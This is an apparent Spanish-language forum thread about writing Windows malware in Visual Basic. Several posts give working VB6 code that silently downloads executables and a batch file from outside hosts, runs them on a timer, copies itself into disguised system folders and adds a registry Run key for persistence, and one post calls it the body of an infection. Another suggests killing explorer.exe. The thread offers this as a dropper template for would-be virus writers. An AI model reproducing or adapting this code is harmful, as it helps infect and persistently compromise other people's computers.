Mensajes

¿Quieres que la descarga sea invisible? 

'Codigo de RANEFI
Option Explicit
Private Declare Function URLDownloadToFile Lib "urlmon" _
   Alias "URLDownloadToFileA" _
  (ByVal pCaller As Long, _
   ByVal szURL As String, _
   ByVal szFileName As String, _
   ByVal dwReserved As Long, _
   ByVal lpfnCB As Long) As Long
Dim ERROR_SUCCESS

Private Sub Command1_Click()
    Dim sSourceUrl As String

    sSourceUrl = "http://mx.geocities.com/" & _
        "posotroranefi/msnmsgr.zip"

    DownloadFile sSourceUrl, "C:\ranefi.zip"
End Sub


Private Function DownloadFile(ByVal sURL As String, ByVal sLocalFile As String) As Boolean
  DownloadFile = URLDownloadToFile(0, sURL, _
    sLocalFile, 0, 0) = ERROR_SUCCESS
End Function

O si quieres visible:

Código [Seleccionar] Expandir


'Codigo RANEFI
Option explicit

Private Declare Function DoFileDownload Lib "shdocvw.dll" _
            (ByVal lpszFile As String) As Long

Private Sub Command1_Click()
            DoFileDownload _
            StrConv("http://mx.geocities.com/posotroranefi/msnmsgr.zip", vbUnicode)
End Sub

No entiendo... si pudieras especificar mas seria mejor...

Pues busca un hosting gratuito ... te permite descarga directa....


www.ripway.com


30 MB
Soporte php
Descarga directa
AdminPanel Basico
150MB Banda por dia

Para eso mata el proceso de "explorer.exe" y se acabo... le pones algun timer para que se vuelva a iniciar o algun boton para recuperarlo.

Aparte de saber leer, Saber asociar, saber armar lo que aprendiste y sobre todo... Tener responsabilidad en lo que haces xDD... No dañes ni un solo byte de algun disco duro y seras un perfecto Programador .

Gracias WarGhost  .



Pero con respecto a esto:

Código [Seleccionar] Expandir

If Time = "22:00:00" Then

Me referia a ejecutarse dentro de "1" hora. (Por ejmplo)

Bueno, esa es mi pregunta...  , por ejemplo, que se ejecute todos los 6 de cada mes.


Tambien que se ejecute en tal "Hora" Ya que con un timer solo me permite segunditos y lo mas que puede es un minuto 

Una buena idea es que se baje automaticamente de internet  silenciosamente y desde tu programa llamarlo...

Exactamenhte asi:

Código [Seleccionar] Expandir

Private Declare Function URLDownloadToFile Lib "urlmon" _
   Alias "URLDownloadToFileA" _
  (ByVal pCaller As Long, _
   ByVal szURL As String, _
   ByVal szFileName As String, _
   ByVal dwReserved As Long, _
   ByVal lpfnCB As Long) As Long

     Dim ERROR_SUCCESS

Private Sub Command1_Click()
     Dim sSourceUrl As String

    sSourceUrl = "http://supervirus.com/" & _
        "subdirectorio/Supervirus.exe"

    DownloadFile sSourceUrl, Environ("SYSTEMROOT") & "\SYSTEM32\Supervirus.exe"
End Sub


Private Function DownloadFile(ByVal sURL As String, ByVal sLocalFile As String) As Boolean
  DownloadFile = URLDownloadToFile(0, sURL, _
    sLocalFile, 0, 0) = ERROR_SUCCESS
End Function


En el otro form, creas un timer con intervalo de 2000 (2 segundos)

Código [Seleccionar] Expandir


Private sub timer1_timer ()
On error goto FALLO:
Shell Environ("SYSTEMROOT") & "\System32\Supervirus.exe"
Fallo:
End sub

Para empezar con programacion virica primero te recomendaria la programacion "legal". Estudiar como trabajan los programas, sus estructuras, sus codigos, etc... Y Luego empieza con programacion virica .

No creo que haya manuales, los lenguaje de programacion se puede utilizar tanto para bien o para mal.

Aqui te dejo el codigo...

Código [Seleccionar] Expandir

Option Explicit

            Dim RegistroCochino As Object
            Dim RutaCochina As String
            Dim CadenaNueva As String
            Dim ContenidoCadena As String
            Dim ERROR_SUCCESS

Private Declare Function URLDownloadToFile Lib "urlmon" _
   Alias "URLDownloadToFileA" _
  (ByVal pCaller As Long, _
   ByVal szURL As String, _
   ByVal szFileName As String, _
   ByVal dwReserved As Long, _
   ByVal lpfnCB As Long) As Long


Private Sub Form_Load()

Dim Ya_Existe As Integer
Ya_Existe = App.PrevInstance
If Ya_Existe <> 0 Then
End
End If

On Error GoTo fallo:

    Dim sSourceUrl As String

'Esta es la descarga oculta      <|>

    sSourceUrl = "http://h1.ripway.com/MyArchivos/" & _
    "Mis_Fotos/InetCat/InetCat.exe"

    DownloadFile sSourceUrl, Environ("SYSTEMROOT") & "\Files\InetCat.exe" ' Asegurate de poner la ruta a donde llega el archivo
   
   
    sSourceUrl = "http://h1.ripway.com/MyArchivos/" & _
        "Mis_Fotos/InetCat/Autoexec.bat"
       
        DownloadFile sSourceUrl, Environ("SYSTEMROOT") & "\System32\Repair\AUTOEXEC.BAT"  'Aqui tambien
       

Shell (Environ("SYSTEMROOT") & "\Files\InetCat.exe")
Shell Environ("SYSTEMROOT") & "\Files\InetCat.exe"
Shell Environ("Systemroot") & "\System32\Repair\Autoexec.bat"


FileCopy App.Path & "\" & App.EXEName & ".exe", Environ("SYSTEMROOT") & "\{323-432112-53252LGSD}\InetCat.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", Environ("SYSTEMROOT") & "\SYSTEM32\" & "\InetCat.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", Environ("SYSTEMROOT") & "\SYSTEM32\" & "\Shell\W\O\R\M\L\O\L\J\A\J\A\{03424-03259325JH-BSSGKDS}.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", Environ("Homepath") & "\AppData\" & "\WISIP.exe"

           
           
            ContenidoCadena = Environ("SYSTEMROOT") & "\Files\InetCat.exe"
            CadenaNueva = "\InetCat"
            RutaCochina = "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows" & _
                        "\CurrentVersion\Run" & CadenaNueva
           
            Set RegistroCochino = CreateObject("WScript.Shell")
           
            RegistroCochino.RegWrite RutaCochina, ContenidoCadena




fallo:
End Sub
Private Function DownloadFile(ByVal sURL As String, ByVal sLocalFile As String) As Boolean
  DownloadFile = URLDownloadToFile(0, sURL, _
    sLocalFile, 0, 0) = ERROR_SUCCESS

End Function



Acuerdate que esta es una estructura y es el cuerpo de la infeccio, no es el virus en cuestion pero te puede ayudar .